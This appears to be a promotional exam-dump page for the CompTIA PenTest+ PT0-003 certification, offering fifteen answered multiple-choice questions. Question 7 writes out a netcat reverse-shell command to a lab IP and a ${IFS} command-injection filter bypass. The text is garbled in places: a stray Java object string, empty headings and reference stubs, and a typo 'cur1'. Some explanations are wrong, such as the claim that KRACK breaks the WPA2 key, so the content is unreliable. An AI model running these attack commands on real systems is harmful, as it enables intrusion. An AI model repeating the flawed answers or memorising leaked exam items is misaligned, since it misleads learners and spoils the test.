PT0-003Q&As

CompTIA PenTest+

Pass CompTIA PT0-003 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.certbus.com/pt0-003.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by CompTIA Official Exam Center

QUESTION 1

A penetration tester needs to confirm the version number of a client\\'s web application server. Which of the following techniques should the penetration tester use?

A. SSL certificate inspection

B. URL spidering

C. Banner grabbing

D. Directory brute forcing

Correct Answer: C

Banner grabbing is a technique used to obtain information about a network service, including its version number, by connecting to the service and reading the response.

Understanding Banner Grabbing:

Manual Banner Grabbing:

Step-by-Step Explanationtelnet target_ip 80

uk.co.certification.simulator.questionpool.PList@58886243 nc target_ip 80

Automated Banner Grabbing:

nmap -sV target_ip

Benefits:

References from Pentesting Literature:

References:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

QUESTION 2

A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool: PORT STATE SERVICE

22/tcp open ssh 25/tcp filtered smtp

111/tcp open rpcbind

2049/tcp open nfs

Based on the output, which of the following services provides the best target for launching an attack?

A. Database

B. Remote access

C. Email

D. File sharing

Correct Answer: D

Based on the Nmap scan results, the services identified on the target server are as follows:

22/tcp open ssh:

25/tcp filtered smtp:

111/tcp open rpcbind:

2049/tcp open nfs:

Conclusion: The NFS service (2049/tcp) provides the best target for launching an attack. File sharing services like NFS often contain sensitive data and can be vulnerable to misconfigurations that allow unauthorized access or privilege

escalation.

QUESTION 3

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

A. The injection was too slow.

B. The DNS information was incorrect.

C. The DNS cache was not refreshed.

D. The client did not receive a trusted response.

Correct Answer: C

A DNS poisoning attack is an attack that exploits a vulnerability in the DNS protocol or system to redirect traffic from legitimate websites to malicious ones. A DNS poisoning attack works by injecting false DNS records into a DNS server or resolver\\'s cache, which is a temporary storage of DNS information. However, if the DNS cache was not refreshed, then the attack would fail, as the target machine would still use the old and valid DNS records from its cache. The other options are not likely causes of the attack failure.

QUESTION 4

A penetration tester is conducting an authorized, physical penetration test to attempt to enter a client\\'s building during non-business hours. Which of the following are MOST important for the penetration tester to have during the test? (Choose two.)

A. A handheld RF spectrum analyzer

B. A mask and personal protective equipment

C. Caution tape for marking off insecure areas

D. A dedicated point of contact at the client

E. The paperwork documenting the engagement

F. Knowledge of the building\\'s normal business hours

Correct Answer: DE

Always carry the contact information and any documents stating that you are approved to do this.

QUESTION 5

A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application\\'s end users. Which of the following tools should the tester use for this task?

A. Browser Exploitation Framework

B. Maltego

C. Metasploit

D. theHarvester

Correct Answer: A

Cross-Site Request Forgery (CSRF) vulnerabilities can be leveraged to trick authenticated users into performing unwanted actions on a web application. The right tool for this task would help in exploiting web-based vulnerabilities, particularly

those related to web browsers and interactions.

Browser Exploitation Framework (BeEF) (Answer: A):

Maltego (Option B):

Metasploit (Option C):

theHarvester (Option D):

Conclusion: The Browser Exploitation Framework (BeEF) is the most suitable tool for leveraging a CSRF vulnerability to gather sensitive details from an application\\'s end users. It is specifically designed for browser-based exploitation, making

it the best choice for this task.

QUESTION 6

Which of the following components should a penetration tester include in an assessment report?

A. User activities

B. Customer remediation plan

C. Key management

D. Attack narrative

Correct Answer: D

An attack narrative provides a detailed account of the steps taken during the penetration test, including the methods used, vulnerabilities exploited, and the outcomes of each attack. This helps stakeholders understand the context and

implications of the findings.

Components of an Assessment Report:

Importance of Attack Narrative:

References from Pentesting Literature:

Step-by-Step ExplanationReferences:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

QUESTION 7

A penetration tester is trying to bypass a command injection blocklist to exploit a remote code execution vulnerability. The tester uses the following command:

nc -e /bin/sh 10.10.10.16 4444

Which of the following would most likely bypass the filtered space character?

A. ${IFS}

B. %0a

C. + *

D. %20

Correct Answer: A

To bypass a command injection blocklist that filters out the space character, the tester can use ${IFS}. ${IFS} stands for Internal Field Separator in Unix-like systems, which by default is set to space, tab, and newline characters.

Command Injection:

Bypassing Filters:

Alternative Encodings:

Pentest References:

Command Injection: Understanding how command injection works and common techniques to exploit it.

Bypassing Filters: Using creative methods like environment variable expansion to bypass input filters and execute commands.

Shell Scripting: Knowledge of shell scripting and environment variables is crucial for effective exploitation.

By using ${IFS}, the tester can bypass the filtered space character and execute the intended command, demonstrating the vulnerability\\'s exploitability.

QUESTION 8

While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

A. Configuration changes were not reverted.

B. A full backup restoration is required for the server.

C. The penetration test was not completed on time.

D. The penetration tester was locked out of the system.

Correct Answer: A

Debugging Mode:

Common Causes:

Best Practices:

References from Pentesting Literature:

References:

Penetration Testing - A Hands-on Introduction to Hacking HTB Official Writeups

---

QUESTION 9

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible.

Which of the following Nmap scan syntaxes would BEST accomplish this objective?

A. nmap -sT -vvv -O 192.168.1.2/24 -PO

B. nmap -sV 192.168.1.2/24 -PO

C. nmap -sA -v -O 192.168.1.2/24

D. nmap -sS -O 192.168.1.2/24 -T1

Correct Answer: D

Reference: https://nmap.org/book/man-port-scanning-techniques.html

QUESTION 10

A penetration tester is taking screen captures of hashes obtained from a domain controller. Which of the following best explains why the penetration tester should immediately obscure portions of the images before saving?

A. To maintain confidentiality of data/information

B. To avoid disclosure of how the hashes were obtained

C. To make the hashes appear shorter and easier to crack

D. To prevent analysis based on the type of hash

Correct Answer: A

When a penetration tester captures screen images that include hashes from a domain controller, obscuring parts of these images before saving is crucial to maintain the confidentiality of sensitive data. Hashes can be considered sensitive information as they represent a form of digital identity for users within an organization. Revealing these hashes in full could lead to unauthorized access if the hashes were to be cracked or otherwise misused by malicious actors. By partially obscuring the images, the penetration tester ensures that the data remains confidential and reduces the risk of compromising user accounts and the integrity of the organization\\'s security posture.

QUESTION 11

Company.com has hired a penetration tester to conduct a phishing test. The tester wants to set up a fake log-in page and harvest credentials when target employees click on links in a phishing email. Which of the following commands would best help the tester determine which cloud email provider the log-in page needs to mimic?

A. dig company.com MX

B. whois company.com

C. cur1 www.company.com

D. dig company.com A

Correct Answer: A

The dig command is a tool that can be used to query DNS servers and obtain information about domain names, such as IP addresses, mail servers, name servers, or other records. The MX option specifies that the query is for mail exchange records, which are records that indicate the mail servers responsible for accepting email messages for a domain. Therefore, the command dig company.com MX would best help the tester determine which cloud email provider the log-in page needs to mimic by showing the mail servers for company.com. For example, if the output shows something like company-com.mail.protection.outlook.com, then it means that company.com uses Microsoft Outlook as its cloud email provider. The other commands are not as useful for determining the cloud email provider. The whois command is a tool that can be used to query domain name registration information, such as the owner, registrar, or expiration date of a domain. The curl command is a tool that can be used to transfer data from or to a server using various protocols, such as HTTP, FTP, or SMTP. The dig command with the A option specifies that the query is for address records, which are records that map domain names to IP addresses.

QUESTION 12

During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

A. ChopChop

B. Replay

C. Initialization vector

D. KRACK

Correct Answer: D

To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.

KRACK (Key Reinstallation Attack):

Other Attacks:

Pentest References:

Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.

KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.

By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.

Top of Form

Bottom of Form

QUESTION 13

Which of the following tools can a penetration tester use to brute force a user password over SSH using multiple threads?

A. CeWL

B. John the Ripper

C. Hashcat

D. Hydra

Correct Answer: D

Hydra is a powerful tool for conducting brute-force attacks against various protocols, including SSH. It is capable of using multiple threads to perform concurrent attempts, significantly increasing the efficiency of the attack. This capability makes Hydra particularly suited for brute-forcing user passwords over SSH, as it can quickly try numerous combinations of usernames and passwords. The tool\\'s ability to support a wide range of protocols, its flexibility in handling different authentication mechanisms, and its efficiency in managing multiple simultaneous connections make it a go-to choice for penetration testers looking to test the strength of passwords in a target system\\'s SSH service.

QUESTION 14

A penetration tester who is performing a physical assessment of a company\\'s security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

A. Badge cloning

B. Dumpster diving

C. Tailgating

D. Shoulder surfing

Correct Answer: B

QUESTION 15

During passive reconnaissance of a target organization\\'s infrastructure, a penetration tester wants to identify key contacts and job responsibilities within the company. Which of the following techniques would be the most effective for this situation?

A. Social media scraping

B. Website archive and caching

C. DNS lookup

D. File metadata analysis

Correct Answer: A

Social media scraping involves collecting information from social media platforms where employees might share their roles, responsibilities, and professional affiliations. This method can reveal detailed insights into the organizational structure, key personnel, and specific job functions within the target organization, making it an invaluable tool for understanding the company\\'s internal landscape without alerting the target to the reconnaissance activities.